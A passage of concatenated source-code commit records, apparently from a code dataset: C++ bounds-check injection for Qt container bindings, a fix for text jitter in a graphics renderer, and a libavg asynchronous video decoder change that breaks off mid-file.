db->findContainerType(QLatin1String(\"QVector\"));\n removeFunction(qvector, \"constData() const\");\n removeFunction(qvector, \"data() const\");\n removeFunction(qvector, \"data()\");\n removeFunction(qvector, \"first()\");\n removeFunction(qvector, \"last()\");\n removeFunction(qvector, \"operator[](int)\");\n removeFunction(qvector, \"operator[](int) const\");\n removeFunction(qvector, \"operator=(QVector<T>)\");\n\n ContainerTypeEntry *qlist = db->findContainerType(QLatin1String(\"QList\"));\n removeFunction(qlist, \"constData() const\");\n removeFunction(qlist, \"data() const\");\n removeFunction(qlist, \"data()\");\n removeFunction(qlist, \"back()\");\n removeFunction(qlist, \"front()\");\n removeFunction(qlist, \"first()\");\n removeFunction(qlist, \"last()\");\n removeFunction(qlist, \"operator[](int)\");\n removeFunction(qlist, \"operator[](int) const\");\n removeFunction(qlist, \"operator=(QList<T>)\");\n\n ContainerTypeEntry *qqueue = db->findContainerType(QLatin1String(\"QQueue\"));\n removeFunction(qqueue, \"head() const\");\n\n ArgumentMap args1;\n args1[1] = QLatin1String(\"$1\");\n ArgumentMap args2 = args1;\n args2[2] = QLatin1String(\"$2\");\n\n QByteArray code =\n \"\\nif ($1 >= __qt_this->size() || $1 < 0) {\"\n \"\\n __jni_env->ThrowNew(__jni_env->FindClass(\\\"java\/lang\/IndexOutOfBoundsException\\\"),\"\n \"\\n QString::fromLatin1(\\\"Accessing container of size %3 at %4\\\")\"\n \"\\n .arg(__qt_this->size()).arg($1).toLatin1());\"\n \"\\n return;\"\n \"\\n}\";\n\n QByteArray code_with_return = QByteArray(code).replace(\"return;\", \"return 0;\");\n\n QByteArray code_index_length =\n \"\\nif ($1 < 0 || $2 < 0 || ($1 + $2) >= __qt_this->size()) {\"\n \"\\n __jni_env->ThrowNew(__jni_env->FindClass(\\\"java\/lang\/IndexOutOfBoundsException\\\"),\"\n \"\\n QString::fromLatin1(\\\"Accessing container of size %3 from %4 to %5\\\")\"\n \"\\n .arg(__qt_this->size()).arg($1).arg($1+$2).toLatin1());\"\n \"\\n return;\"\n \"\\n}\";\n\n QByteArray code_non_empty =\n \"\\nif (__qt_this->isEmpty()) {\"\n \"\\n __jni_env->ThrowNew(__jni_env->FindClass(\\\"java\/lang\/IndexOutOfBoundsException\\\"),\"\n \"\\n QString::fromLatin1(\\\"Accessing empty container...\\\").toLatin1());\"\n \"\\n return;\"\n \"\\n}\";\n\n QByteArray code_two_indices =\n \"\\nif ($1 < 0 || $2 < 0 || $1 >= __qt_this->size() || $2 >= __qt_this->size()) {\"\n \"\\n __jni_env->ThrowNew(__jni_env->FindClass(\\\"java\/lang\/IndexOutOfBoundsException\\\"),\"\n \"\\n QString::fromLatin1(\\\"Accessing container of size %3 at %4 and at %5\\\")\"\n \"\\n .arg(__qt_this->size()).arg($1).arg($2).toLatin1());\"\n \"\\n return;\"\n \"\\n}\";\n\n { \/\/ QVector safty...\n injectCode(qvector, \"at(int) const\", code_with_return, args1);\n injectCode(qvector, \"replace(int,T)\", code, args1);\n injectCode(qvector, \"remove(int)\", code, args1);\n injectCode(qvector, \"remove(int, int)\", code_index_length, args2);\n injectCode(qvector, \"pop_back()\", code_non_empty, ArgumentMap());\n injectCode(qvector, \"pop_front()\", code_non_empty, ArgumentMap());\n }\n\n { \/\/ QList safty...\n injectCode(qlist, \"at(int) const\", code_with_return, args1);\n injectCode(qlist, \"replace(int, T)\", code, args1);\n injectCode(qlist, \"pop_back()\", code_non_empty, ArgumentMap());\n injectCode(qlist, \"pop_front()\", code_non_empty, ArgumentMap());\n injectCode(qlist, \"swap(int, int)\", code_two_indices, args2);\n injectCode(qlist, \"move(int, int)\", code_two_indices, args2);\n injectCode(qlist, \"removeAt(int)\", code, args1);\n injectCode(qlist, \"takeAt(int)\", code_with_return, args1);\n }\n\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"text_element.hpp\"\n#include \"screen.hpp\"\n#include \"resource_cache.hpp\"\n#include \"resource_manager.hpp\"\n#include \"overlay_renderer.hpp\"\n#include \"glyph.hpp\"\n#include \"resource.hpp\"\n\n#include \"..\/base\/logging.hpp\"\n\nnamespace graphics\n{\n TextElement::TextElement(Params const & p)\n : OverlayElement(p),\n m_fontDesc(p.m_fontDesc),\n m_auxFontDesc(p.m_auxFontDesc),\n m_logText(p.m_logText),\n m_auxLogText(p.m_auxLogText),\n m_log2vis(p.m_log2vis)\n {\n if (m_log2vis)\n {\n m_visText = p.m_glyphCache->log2vis(m_logText);\n if (!m_auxLogText.empty())\n m_auxVisText = p.m_glyphCache->log2vis(m_auxLogText);\n }\n else\n {\n m_visText = m_logText;\n m_auxVisText = m_auxLogText;\n }\n }\n\n strings::UniString const & TextElement::logText() const\n {\n return m_logText;\n }\n\n strings::UniString const & TextElement::auxLogText() const\n {\n return m_auxLogText;\n }\n\n strings::UniString const & TextElement::visText() const\n {\n return m_visText;\n }\n\n strings::UniString const & TextElement::auxVisText() const\n {\n return m_auxVisText;\n }\n\n FontDesc const & TextElement::fontDesc() const\n {\n return m_fontDesc;\n }\n\n FontDesc const & TextElement::auxFontDesc() const\n {\n return m_auxFontDesc;\n }\n\n bool TextElement::isBidi() const\n {\n return m_logText != m_visText;\n }\n\n bool TextElement::isAuxBidi() const\n {\n return m_auxLogText != m_auxVisText;\n }\n\n void TextElement::drawTextImpl(GlyphLayout const & layout,\n OverlayRenderer * screen,\n math::Matrix<double, 3, 3> const & m,\n bool doTransformPivotOnly,\n bool doAlignPivot,\n FontDesc const & fontDesc,\n double depth) const\n {\n if (!fontDesc.IsValid())\n return;\n\n m2::PointD pv = layout.pivot();\n m2::PointD offs = layout.offset();\n double deltaA = 0;\n\n if (doTransformPivotOnly)\n pv *= m;\n else\n {\n double k = (sqrt((m(0, 0) * m(0, 0) + m(0, 1) * m(0, 1) + m(1, 0) * m(1, 0) + m(1, 1) * m(1, 1)) \/ 2));\n\n if ((k > 1.1) || (k < 1 \/ 1.1))\n return;\n\n deltaA = (ang::AngleD(0) * m).val();\n }\n\n size_t cnt = layout.entries().size();\n\n buffer_vector<Glyph::Info, 32> glyphInfos(cnt);\n buffer_vector<Resource::Info const *, 32> resInfos(cnt);\n buffer_vector<uint32_t, 32> glyphIDs(cnt);\n\n unsigned firstVis = layout.firstVisible();\n unsigned lastVis = layout.lastVisible();\n\n \/\/\/ collecting all glyph infos in one array and packing them as a whole.\n for (unsigned i = firstVis; i < lastVis; ++i)\n {\n GlyphKey glyphKey(layout.entries()[i].m_sym,\n fontDesc.m_size,\n fontDesc.m_isMasked,\n fontDesc.m_isMasked ? fontDesc.m_maskColor : fontDesc.m_color);\n\n glyphInfos[i] = Glyph::Info(glyphKey, screen->glyphCache());\n resInfos[i] = &glyphInfos[i];\n }\n\n if ((firstVis != lastVis)\n && !screen->mapInfo(&resInfos[firstVis],\n &glyphIDs[firstVis],\n lastVis - firstVis))\n {\n LOG(LINFO, (\"cannot render string\", lastVis - firstVis, \"characters long\"));\n return;\n }\n\n for (unsigned i = firstVis; i < lastVis; ++i)\n {\n GlyphLayoutElem const & elem = layout.entries()[i];\n Glyph const * glyph = static_cast<Glyph const *>(screen->fromID(glyphIDs[i]));\n\n m2::PointD glyphPt;\n ang::AngleD glyphAngle;\n\n if (doTransformPivotOnly)\n {\n m2::PointD offsPt = offs + elem.m_pt;\n m2::PointD fullPt = pv + offs + elem.m_pt;\n\n offsPt.x -= fullPt.x - floor(fullPt.x);\n offsPt.y -= fullPt.y - floor(fullPt.y);\n\n screen->drawStraightGlyph(pv, offsPt, glyph, depth);\n }\n else\n {\n glyphPt = (pv + offs + elem.m_pt) * m;\n glyphAngle = ang::AngleD(elem.m_angle.val() + deltaA);\n\n screen->drawGlyph(glyphPt, m2::PointD(0.0, 0.0), glyphAngle, 0, glyph, depth);\n }\n }\n }\n}\n<commit_msg>[graphics] remove text jittering on drag<commit_after>#include \"text_element.hpp\"\n#include \"screen.hpp\"\n#include \"resource_cache.hpp\"\n#include \"resource_manager.hpp\"\n#include \"overlay_renderer.hpp\"\n#include \"glyph.hpp\"\n#include \"resource.hpp\"\n\n#include \"..\/base\/logging.hpp\"\n\nnamespace graphics\n{\n TextElement::TextElement(Params const & p)\n : OverlayElement(p),\n m_fontDesc(p.m_fontDesc),\n m_auxFontDesc(p.m_auxFontDesc),\n m_logText(p.m_logText),\n m_auxLogText(p.m_auxLogText),\n m_log2vis(p.m_log2vis)\n {\n if (m_log2vis)\n {\n m_visText = p.m_glyphCache->log2vis(m_logText);\n if (!m_auxLogText.empty())\n m_auxVisText = p.m_glyphCache->log2vis(m_auxLogText);\n }\n else\n {\n m_visText = m_logText;\n m_auxVisText = m_auxLogText;\n }\n }\n\n strings::UniString const & TextElement::logText() const\n {\n return m_logText;\n }\n\n strings::UniString const & TextElement::auxLogText() const\n {\n return m_auxLogText;\n }\n\n strings::UniString const & TextElement::visText() const\n {\n return m_visText;\n }\n\n strings::UniString const & TextElement::auxVisText() const\n {\n return m_auxVisText;\n }\n\n FontDesc const & TextElement::fontDesc() const\n {\n return m_fontDesc;\n }\n\n FontDesc const & TextElement::auxFontDesc() const\n {\n return m_auxFontDesc;\n }\n\n bool TextElement::isBidi() const\n {\n return m_logText != m_visText;\n }\n\n bool TextElement::isAuxBidi() const\n {\n return m_auxLogText != m_auxVisText;\n }\n\n void TextElement::drawTextImpl(GlyphLayout const & layout,\n OverlayRenderer * screen,\n math::Matrix<double, 3, 3> const & m,\n bool doTransformPivotOnly,\n bool doAlignPivot,\n FontDesc const & fontDesc,\n double depth) const\n {\n if (!fontDesc.IsValid())\n return;\n\n m2::PointD pv = layout.pivot();\n m2::PointD offs = layout.offset();\n double deltaA = 0;\n\n if (doTransformPivotOnly)\n pv *= m;\n else\n {\n double k = (sqrt((m(0, 0) * m(0, 0) + m(0, 1) * m(0, 1) + m(1, 0) * m(1, 0) + m(1, 1) * m(1, 1)) \/ 2));\n\n if ((k > 1.1) || (k < 1 \/ 1.1))\n return;\n\n deltaA = (ang::AngleD(0) * m).val();\n }\n\n size_t cnt = layout.entries().size();\n\n buffer_vector<Glyph::Info, 32> glyphInfos(cnt);\n buffer_vector<Resource::Info const *, 32> resInfos(cnt);\n buffer_vector<uint32_t, 32> glyphIDs(cnt);\n\n unsigned firstVis = layout.firstVisible();\n unsigned lastVis = layout.lastVisible();\n\n \/\/\/ collecting all glyph infos in one array and packing them as a whole.\n for (unsigned i = firstVis; i < lastVis; ++i)\n {\n GlyphKey glyphKey(layout.entries()[i].m_sym,\n fontDesc.m_size,\n fontDesc.m_isMasked,\n fontDesc.m_isMasked ? fontDesc.m_maskColor : fontDesc.m_color);\n\n glyphInfos[i] = Glyph::Info(glyphKey, screen->glyphCache());\n resInfos[i] = &glyphInfos[i];\n }\n\n if ((firstVis != lastVis)\n && !screen->mapInfo(&resInfos[firstVis],\n &glyphIDs[firstVis],\n lastVis - firstVis))\n {\n LOG(LINFO, (\"cannot render string\", lastVis - firstVis, \"characters long\"));\n return;\n }\n\n for (unsigned i = firstVis; i < lastVis; ++i)\n {\n GlyphLayoutElem const & elem = layout.entries()[i];\n Glyph const * glyph = static_cast<Glyph const *>(screen->fromID(glyphIDs[i]));\n\n m2::PointD glyphPt;\n ang::AngleD glyphAngle;\n\n if (doTransformPivotOnly)\n {\n m2::PointD offsPt = offs + elem.m_pt;\n screen->drawStraightGlyph(pv, offsPt, glyph, depth);\n }\n else\n {\n glyphPt = (pv + offs + elem.m_pt) * m;\n glyphAngle = ang::AngleD(elem.m_angle.val() + deltaA);\n\n screen->drawGlyph(glyphPt, m2::PointD(0.0, 0.0), glyphAngle, 0, glyph, depth);\n }\n }\n }\n}\n<|endoftext|>"} {"text":"<commit_before>\/\/\n\/\/ libavg - Media Playback Engine. \n\/\/ Copyright (C) 2003-2008 Ulrich von Zadow\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2 of the License, or (at your option) any later version.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\/\/\n\/\/ Current versions can be found at www.libavg.de\n\/\/\n\n#include \"AsyncVideoDecoder.h\"\n#include \"EOFVideoMsg.h\"\n#include \"ErrorVideoMsg.h\"\n#include \"SeekDoneVideoMsg.h\"\n\n#include \"..\/base\/ObjectCounter.h\"\n\n#include <boost\/thread\/thread.hpp>\n#include <boost\/bind.hpp>\n\n#include <math.h>\n#include <iostream>\n\nusing namespace boost;\nusing namespace std;\n\nnamespace avg {\n\nAsyncVideoDecoder::AsyncVideoDecoder(VideoDecoderPtr pSyncDecoder)\n : m_pSyncDecoder(pSyncDecoder),\n m_pVDecoderThread(0),\n m_pADecoderThread(0),\n m_Size(0,0),\n m_NumFrames(0),\n m_FPS(0),\n m_PF(NO_PIXELFORMAT),\n m_Duration(0),\n m_bAudioEOF(false),\n m_bVideoEOF(false),\n m_bSeekPending(false),\n m_Volume(1.0),\n m_LastVideoFrameTime(-1000),\n m_LastAudioFrameTime(-1000)\n{\n ObjectCounter::get()->incRef(&typeid(*this));\n}\n\nAsyncVideoDecoder::~AsyncVideoDecoder()\n{\n if (m_pVDecoderThread || m_pADecoderThread) {\n close();\n }\n ObjectCounter::get()->decRef(&typeid(*this));\n}\n\nvoid AsyncVideoDecoder::open(const std::string& sFilename, const AudioParams* pAP,\n YCbCrMode ycbcrMode, bool bThreadedDemuxer)\n{\n m_bAudioEOF = false;\n m_bVideoEOF = false;\n m_bSeekPending = false;\n m_sFilename = sFilename;\n\n m_pSyncDecoder->open(m_sFilename, pAP, ycbcrMode, bThreadedDemuxer);\n m_bHasVideo = m_pSyncDecoder->hasVideo();\n m_bHasAudio = m_pSyncDecoder->hasAudio();\n m_Duration = m_pSyncDecoder->getDuration();\n\n if (m_bHasVideo) {\n m_LastVideoFrameTime = -1000;\n m_Size = m_pSyncDecoder->getSize();\n m_NumFrames = m_pSyncDecoder->getNumFrames();\n m_FPS = m_pSyncDecoder->getFPS();\n m_PF = m_pSyncDecoder->getPixelFormat();\n m_StreamFPS = m_pSyncDecoder->getNominalFPS();\n m_pVCmdQ = VideoDecoderThread::CmdQueuePtr(new VideoDecoderThread::CmdQueue);\n m_pVMsgQ = VideoMsgQueuePtr(new VideoMsgQueue(8));\n m_pVDecoderThread = new boost::thread(\n VideoDecoderThread(*m_pVCmdQ, *m_pVMsgQ, m_pSyncDecoder));\n }\n \n if (m_bHasAudio) {\n m_pACmdQ = AudioDecoderThread::CmdQueuePtr(new AudioDecoderThread::CmdQueue);\n m_pAMsgQ = VideoMsgQueuePtr(new VideoMsgQueue(8));\n m_pADecoderThread = new boost::thread(\n AudioDecoderThread(*m_pACmdQ, *m_pAMsgQ, m_pSyncDecoder, *pAP));\n m_AudioMsgData = 0;\n m_AudioMsgSize = 0;\n m_LastAudioFrameTime = 0;\n }\n}\n\nvoid AsyncVideoDecoder::close()\n{\n if (m_pVDecoderThread) {\n m_pVCmdQ->push(Command<VideoDecoderThread>(boost::bind(\n &VideoDecoderThread::stop, _1)));\n getNextBmps(false); \/\/ If the Queue is full, this breaks the lock in the thread.\n m_pVDecoderThread->join();\n delete m_pVDecoderThread;\n m_pVDecoderThread = 0;\n }\n {\n scoped_lock Lock1(m_AudioMutex);\n if (m_pADecoderThread) {\n m_pACmdQ->push(Command<AudioDecoderThread>(boost::bind(\n &AudioDecoderThread::stop, _1)));\n try {\n m_pAMsgQ->pop(false);\n } catch(Exception&) {}\n m_pADecoderThread->join();\n delete m_pADecoderThread;\n m_pADecoderThread = 0;\n }\n m_pSyncDecoder->close();\n } \n}\n\nvoid AsyncVideoDecoder::seek(long long DestTime)\n{\n waitForSeekDone();\n scoped_lock Lock1(m_AudioMutex);\n scoped_lock Lock2(m_SeekMutex);\n m_bAudioEOF = false;\n m_bVideoEOF = false;\n m_bSeekPending = false;\n m_LastVideoFrameTime = -1000;\n m_bSeekPending = true;\n if (m_pVCmdQ) {\n m_pVCmdQ->push(Command<VideoDecoderThread>(boost::bind(\n &VideoDecoderThread::seek, _1, DestTime)));\n } else {\n m_pACmdQ->push(Command<AudioDecoderThread>(boost::bind(\n &AudioDecoderThread::seek, _1, DestTime)));\n }\n try {\n while (m_bSeekPending) {\n VideoMsgPtr pMsg;\n if (m_pVCmdQ) {\n pMsg = m_pVMsgQ->pop(false);\n } else {\n pMsg = m_pAMsgQ->pop(false);\n }\n SeekDoneVideoMsgPtr pSeekDoneMsg = dynamic_pointer_cast<SeekDoneVideoMsg>(pMsg);\n if (pSeekDoneMsg) {\n m_bSeekPending = false;\n m_LastVideoFrameTime = pSeekDoneMsg->getVideoFrameTime();\n m_LastAudioFrameTime = pSeekDoneMsg->getAudioFrameTime();\n }\n }\n } catch (Exception&) {\n }\n}\n\nStreamSelect AsyncVideoDecoder::getMasterStream()\n{\n if (m_bHasAudio) {\n return SS_AUDIO;\n } else {\n return SS_VIDEO;\n }\n}\n\nbool AsyncVideoDecoder::hasVideo()\n{\n return m_bHasVideo;\n}\n\nbool AsyncVideoDecoder::hasAudio()\n{\n return m_bHasAudio;\n}\n\nIntPoint AsyncVideoDecoder::getSize()\n{\n return m_Size;\n}\n\nint AsyncVideoDecoder::getCurFrame()\n{\n return int(getCurTime(SS_VIDEO)*m_StreamFPS\/1000.0+0.5);\n}\n\nint AsyncVideoDecoder::getNumFrames()\n{\n if (m_NumFrames == 0) {\n throw Exception(AVG_ERR_VIDEO_GENERAL, \"Error in AsyncVideoDecoder::getNumFrames: Video not loaded.\");\n }\n return m_NumFrames;\n}\n\nint AsyncVideoDecoder::getNumFramesQueued()\n{\n return m_pVMsgQ->size();\n}\n\nlong long AsyncVideoDecoder::getCurTime(StreamSelect Stream)\n{\n switch(Stream) {\n case SS_VIDEO:\n assert(m_bHasVideo);\n return m_LastVideoFrameTime;\n break;\n case SS_AUDIO:\n assert(m_bHasAudio);\n return m_LastAudioFrameTime;\n break;\n case SS_DEFAULT:\n return getCurTime(getMasterStream());\n break;\n default:\n assert(false);\n }\n return -1;\n}\n\nlong long AsyncVideoDecoder::getDuration()\n{\n return m_Duration;\n}\n\ndouble AsyncVideoDecoder::getNominalFPS()\n{\n return m_StreamFPS;\n}\n\ndouble AsyncVideoDecoder::getFPS()\n{\n assert(m_pVDecoderThread);\n return m_FPS;\n}\n\nvoid AsyncVideoDecoder::setFPS(double FPS)\n{\n assert(!m_pADecoderThread);\n m_pVCmdQ->push(Command<VideoDecoderThread>(boost::bind(\n &VideoDecoderThread::setFPS, _1, FPS)));\n if (FPS != 0) {\n m_FPS = FPS;\n }\n}\n\ndouble AsyncVideoDecoder::getVolume()\n{\n return m_Volume;\n}\n\nvoid AsyncVideoDecoder::setVolume(double Volume)\n{\n m_Volume = Volume;\n if (m_bHasAudio) {\n m_pACmdQ->push(Command<AudioDecoderThread>(boost::bind(\n &AudioDecoderThread::setVolume, _1, Volume)));\n }\n}\n\nPixelFormat AsyncVideoDecoder::getPixelFormat()\n{\n assert(m_pVDecoderThread);\n return m_PF;\n}\n\nFrameAvailableCode AsyncVideoDecoder::renderToBmp(BitmapPtr pBmp, long long TimeWanted)\n{\n FrameAvailableCode FrameAvailable;\n FrameVideoMsgPtr pFrameMsg = getBmpsForTime(TimeWanted, FrameAvailable);\n if (FrameAvailable == FA_NEW_FRAME) {\n pBmp->copyPixels(*(pFrameMsg->getBitmap(0)));\n }\n return FrameAvailable;\n}\n\nFrameAvailableCode AsyncVideoDecoder::renderToYCbCr420p(BitmapPtr pBmpY, BitmapPtr pBmpCb, \n BitmapPtr pBmpCr, long long TimeWanted)\n{\n FrameAvailableCode FrameAvailable;\n FrameVideoMsgPtr pFrameMsg = getBmpsForTime(TimeWanted, FrameAvailable);\n if (FrameAvailable == FA_NEW_FRAME) {\n pBmpY->copyPixels(*(pFrameMsg->getBitmap(0)));\n pBmpCb->copyPixels(*(pFrameMsg->getBitmap(1)));\n pBmpCr->copyPixels(*(pFrameMsg->getBitmap(2)));\n }\n return FrameAvailable;\n}\n\nbool AsyncVideoDecoder::isEOF(StreamSelect Stream)\n{\n switch(Stream) {\n case SS_AUDIO:\n return (!m_bHasAudio || m_bAudioEOF);\n case SS_VIDEO:\n return (!m_bHasVideo || m_bVideoEOF);\n case SS_ALL:\n return isEOF(SS_VIDEO) && isEOF(SS_AUDIO);\n default:\n return false;\n }\n}\n\nint AsyncVideoDecoder::fillAudioBuffer(AudioBufferPtr pBuffer)\n{\n assert (m_pADecoderThread);\n if (m_bAudioEOF) {\n return 0;\n }\n scoped_lock Lock(m_AudioMutex);\n waitForSeekDone();\n\n unsigned char* audioBuffer = (unsigned char *)(pBuffer->getData());\n int audioBufferSize = pBuffer->getNumBytes();\n\n int bufferLeftToFill = audioBufferSize;\n while (bufferLeftToFill > 0) {\n while (m_AudioMsgSize > 0 && bufferLeftToFill > 0) {\n int copyBytes = min(bufferLeftToFill, m_AudioMsgSize);\n memcpy(audioBuffer, m_AudioMsgData, copyBytes);\n m_AudioMsgSize -= copyBytes;\n m_AudioMsgData += copyBytes;\n bufferLeftToFill -= copyBytes;\n audioBuffer += copyBytes;\n\n m_LastAudioFrameTime += (long long)(1000.0 * copyBytes \/ \n (pBuffer->getFrameSize() * pBuffer->getRate()));\n }\n if (bufferLeftToFill != 0) {\n try {\n VideoMsgPtr pMsg = m_pAMsgQ->pop(false);\n\n EOFVideoMsgPtr pEOFMsg(dynamic_pointer_cast<EOFVideoMsg>(pMsg));\n if (pEOFMsg) {\n m_bAudioEOF = true;\n return pBuffer->getNumFrames()-bufferLeftToFill\/pBuffer->getFrameSize();\n }\n\n m_pAudioMsg = dynamic_pointer_cast<AudioVideoMsg>(pMsg);\n assert(m_pAudioMsg);\n\n m_AudioMsgSize = m_pAudioMsg->getBuffer()->getNumFrames()\n *pBuffer->getFrameSize();\n m_AudioMsgData = (unsigned char *)(m_pAudioMsg->getBuffer()->getData());\n m_LastAudioFrameTime = m_pAudioMsg->getTime();\n } catch (Exception &) {\n return pBuffer->getNumFrames()-bufferLeftToFill\/pBuffer->getFrameSize();\n }\n }\n }\n return pBuffer->getNumFrames();\n}\n \nFrameVideoMsgPtr AsyncVideoDecoder::getBmpsForTime(long long TimeWanted, \n FrameAvailableCode& FrameAvailable)\n{\n \/\/ XXX: This code is sort-of duplicated in FFMpegDecoder::readFrameForTime()\n long long FrameTime = -1000;\n FrameVideoMsgPtr pFrameMsg;\n if (TimeWanted == -1) {\n pFrameMsg = getNextBmps(true);\n FrameAvailable = FA_NEW_FRAME;\n } else {\n if (getMasterStream() == SS_AUDIO) {\n TimeWanted = m_LastAudioFrameTime;\n }\n\n\/\/ cerr << \"getBmpsForTime \" << TimeWanted << \", LastFrameTime= \" << m_LastVideoFrameTime \n\/\/ << \", diff= \" << TimeWanted-m_LastVideoFrameTime << endl;\n double TimePerFrame = 1000.0\/getFPS();\n if (fabs(double(TimeWanted-m_LastVideoFrameTime)) < 0.5*TimePerFrame || \n m_LastVideoFrameTime > TimeWanted+TimePerFrame) {\n\/\/ cerr << \" LastFrameTime = \" << m_LastVideoFrameTime << \", display again.\" << endl;\n \/\/ The last frame is still current. Display it again.\n FrameAvailable = FA_USE_LAST_FRAME;\n return FrameVideoMsgPtr();\n } else {\n if (m_bVideoEOF) {\n\/\/ cerr << \" EOF.\" << endl;\n FrameAvailable = FA_USE_LAST_FRAME;\n return FrameVideoMsgPtr();\n }\n while (FrameTime-TimeWanted < -0.5*TimePerFrame && !m_bVideoEOF) {\n pFrameMsg = getNextBmps(false);\n if (pFrameMsg) {\n FrameTime = pFrameMsg->getFrameTime();\n\/\/ cerr << \" readFrame returned time \" << FrameTime << \".\" << endl;\n } else {\n\/\/ cerr << \" no frame available.\" << endl;\n FrameAvailable = FA_STILL_DECODING;\n return FrameVideoMsgPtr();\n }\n }\n FrameAvailable = FA_NEW_FRAME;\n\/\/ cerr << \" frame ok.\" << endl;\n }\n }\n if (pFrameMsg) {\n m_LastVideoFrameTime = pFrameMsg->getFrameTime();\n }\n return pFrameMsg;\n}\n\nFrameVideoMsgPtr AsyncVideoDecoder::getNextBmps(bool bWait)\n{\n try {\n waitForSeekDone();\n VideoMsgPtr pMsg = m_pVMsgQ->pop(bWait);\n FrameVideoMsgPtr pFrameMsg = dynamic_pointer_cast<FrameVideoMsg>(pMsg);\n while (!pFrameMsg) {\n EOFVideoMsgPtr pEOFMsg(dynamic_pointer_cast<EOFVideoMsg>(pMsg));\n ErrorVideoMsgPtr pErrorMsg(dynamic_pointer_cast<ErrorVideoMsg>(pMsg));\n if (pEOFMsg) {\n m_bVideoEOF = true;\n return FrameVideoMsgPtr();\n } else if (pErrorMsg) {\n m_bVideoEOF = true;\n return FrameVideoMsgPtr();\n } else {\n \/\/ Unhandled message type.\n assert(false);\n }\n pMsg = m_pVMsgQ->pop(bWait);\n pFrameMsg = dynamic_pointer_cast<FrameVideoMsg>(pMsg);\n }\n return pFrameMsg;\n } catch (Exception&) {\n return FrameVideoMsgPtr();\n }\n}\n\nvoid AsyncVideoDecoder::waitForSeekDone()\n{\n scoped_lock Lock(m_SeekMutex);\n if (m_bSeekPending) {\n do {\n VideoMsgPtr pMsg;\n if (m_pVCmdQ) {\n pMsg = m_pVMsgQ->pop(true);\n } else {\n pMsg = m_pAMsgQ->pop(true);\n }\n SeekDoneVideoMsgPtr pSeekDoneMsg = dynamic_pointer_cast<SeekDoneVideoMsg>(pMsg);\n if (pSeekDoneMsg) {\n m_bSeekPending = false;\n m_LastVideoFrameTime = pSeekDoneMsg->getVideoFrameTime();\n m_LastAudioFrameTime = pSeekDoneMsg->getAudioFrameTime();\n }\n\n } while (m_bSeekPending);\n }\n}\n\n}\n<commit_msg>workaround for audio threading issue<commit_after>\/\/\n\/\/ libavg - Media Playback Engine. \n\/\/ Copyright (C) 2003-2008 Ulrich von Zadow\n\/\/\n\/\/ This library is free software; you can redistribute it and\/or\n\/\/ modify it under the terms of the GNU Lesser General Public\n\/\/ License as published by the Free Software Foundation; either\n\/\/ version 2 of the License, or (at your option) any later version.\n\/\/\n\/\/ This library is distributed in the hope that it will be useful,\n\/\/ but WITHOUT ANY WARRANTY; without even the implied warranty of\n\/\/ MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n\/\/ Lesser General Public License for more details.\n\/\/\n\/\/ You should have received a copy of the GNU Lesser General Public\n\/\/ License along with this library; if not, write to the Free Software\n\/\/ Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA\n\/\/\n\/\/ Current versions can be found at www.libavg.de\n\/\/\n\n#include \"AsyncVideoDecoder.h\"\n#include \"EOFVideoMsg.h\"\n#include \"ErrorVideoMsg.h\"\n#include \"SeekDoneVideoMsg.h\"\n\n#include \"..\/base\/ObjectCounter.h\"\n\n#include <boost\/thread\/thread.hpp>\n#include <boost\/bind.hpp>\n\n#include <math.h>\n#include <iostream>\n\nusing namespace boost;\nusing namespace std;\n\nnamespace avg {\n\nAsyncVideoDecoder::AsyncVideoDecoder(VideoDecoderPtr pSyncDecoder)\n : m_pSyncDecoder(pSyncDecoder),\n m_pVDecoderThread(0),\n m_pADecoderThread(0),\n m_Size(0,0),\n m_NumFrames(0),\n m_FPS(0),\n m_PF(NO_PIXELFORMAT),\n m_Duration(0),\n m_bAudioEOF(false),\n m_bVideoEOF(false),\n m_bSeekPending(false),\n m_Volume(1.0),\n m_LastVideoFrameTime(-1000),\n m_LastAudioFrameTime(-1000)\n{\n ObjectCounter::get()->incRef(&typeid(*this));\n}\n\nAsyncVideoDecoder::~AsyncVideoDecoder()\n{\n if (m_pVDecoderThread || m_pADecoderThread) {\n close();\n }\n ObjectCounter::get()->decRef(&typeid(*this));\n}\n\nvoid AsyncVideoDecoder::open(const std::string& sFilename, const AudioParams* pAP,\n YCbCrMode ycbcrMode, bool bThreadedDemuxer)\n{\n m_bAudioEOF = false;\n m_bVideoEOF = false;\n m_bSeekPending = false;\n m_sFilename = sFilename;\n\n m_pSyncDecoder->open(m_sFilename, pAP, ycbcrMode, bThreadedDemuxer);\n m_bHasVideo = m_pSyncDecoder->hasVideo();\n m_bHasAudio = m_pSyncDecoder->hasAudio();\n m_Duration = m_pSyncDecoder->getDuration();\n\n if (m_bHasVideo) {\n m_LastVideoFrameTime = -1000;\n m_Size = m_pSyncDecoder->getSize();\n m_NumFrames = m_pSyncDecoder->getNumFrames();\n m_FPS = m_pSyncDecoder->getFPS();\n m_PF = m_pSyncDecoder->getPixelFormat();\n m_StreamFPS = m_pSyncDecoder->getNominalFPS();\n m_pVCmdQ = VideoDecoderThread::CmdQueuePtr(new VideoDecoderThread::CmdQueue);\n m_pVMsgQ = VideoMsgQueuePtr(new VideoMsgQueue(8));\n m_pVDecoderThread = new boost::thread(\n VideoDecoderThread(*m_pVCmdQ, *m_pVMsgQ, m_pSyncDecoder));\n }\n \n if (m_bHasAudio) {\n m_pACmdQ = AudioDecoderThread::CmdQueuePtr(new AudioDecoderThread::CmdQueue);\n m_pAMsgQ = VideoMsgQueuePtr(new VideoMsgQueue(8));\n m_pADecoderThread = new boost::thread(\n AudioDecoderThread(*m_pACmdQ, *m_pAMsgQ, m_pSyncDecoder, *pAP));\n m_AudioMsgData = 0;\n m_AudioMsgSize = 0;\n m_LastAudioFrameTime = 0;\n }\n}\n\nvoid AsyncVideoDecoder::close()\n{\n if (m_pVDecoderThread) {\n 